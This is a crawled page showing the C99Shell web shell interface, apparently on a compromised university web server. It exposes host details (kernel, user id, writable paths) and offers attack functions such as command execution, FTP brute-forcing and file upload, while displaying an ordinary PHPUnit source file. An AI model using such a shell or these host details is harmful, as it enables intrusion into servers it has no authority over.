!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/phpunit/src/Extensions/   drwxr-xr-x
Free 116.97 GB of 200.55 GB (58.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GroupTestSuite.php (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * We have a TestSuite object A.
 * In TestSuite object A we have Tests tagged with @group.
 * We want a TestSuite object B that contains TestSuite objects C, D, ...
 * for the Tests tagged with @group C, @group D, ...
 * Running the Tests from TestSuite object B results in Tests tagged with both
 *
 * @group C and @group D in TestSuite object A to be run twice .
 *
 * <code>
 * $suite = new PHPUnit_Extensions_GroupTestSuite($A, array('C', 'D'));
 * </code>
 *
 * @since Class available since Release 3.3.0
 */
class PHPUnit_Extensions_GroupTestSuite extends PHPUnit_Framework_TestSuite
{
    public function 
__construct(PHPUnit_Framework_TestSuite $suite, array $groups)
    {
        
$groupSuites = array();
        
$name        $suite->getName();

        foreach (
$groups as $group) {
            
$groupSuites[$group] = new PHPUnit_Framework_TestSuite($name ' - ' $group);
            
$this->addTest($groupSuites[$group]);
        }

        
$tests = new RecursiveIteratorIterator(
            new 
PHPUnit_Util_TestSuiteIterator($suite),
            
RecursiveIteratorIterator::LEAVES_ONLY
        
);

        foreach (
$tests as $test) {
            if (
$test instanceof PHPUnit_Framework_TestCase) {
                
$testGroups PHPUnit_Util_Test::getGroups(
                    
get_class($test),
                    
$test->getName(false)
                );

                foreach (
$groups as $group) {
                    foreach (
$testGroups as $testGroup) {
                        if (
$group == $testGroup) {
                            
$groupSuites[$group]->addTest($test);
                        }
                    }
                }
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0105 ]--